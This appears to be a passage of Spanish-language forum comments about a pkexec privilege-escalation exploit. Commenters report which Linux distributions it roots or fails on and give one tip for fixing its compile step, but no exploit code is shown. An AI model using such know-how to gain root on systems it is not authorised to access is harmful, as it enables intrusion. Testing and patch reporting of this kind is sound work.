#98 No, eso lo he corregido. Lo que no tira es el exploit en si en Slackware-current (la 15 sale hoy creo).

[#95 gartstell]

#44 No funciona en Clear Linux. Aunque actualizé ayer, así que seguro ya está parchado

[#99 gotxi85]

#95 Me acabo de dar cuenta que el formateo de meneame ha fastidiado la linea del gcc. Abre el fichero pkexec.c como texto y copia y pega y sustituye hax.c por pkexec.c

[#74 DRAG0NER0]

Éste sí es el año del despegue de Linux.

[#37 Protino]

Recibí ya la actualización en Linux Mint (Ubuntu).

[#48 binimana]

En mi experiencia (esta mañana), en CentOS7 el hack es trivial de ejecutar y convertirse en root; en SLE 15.1 y 15.2 no he conseguido reproducirlo.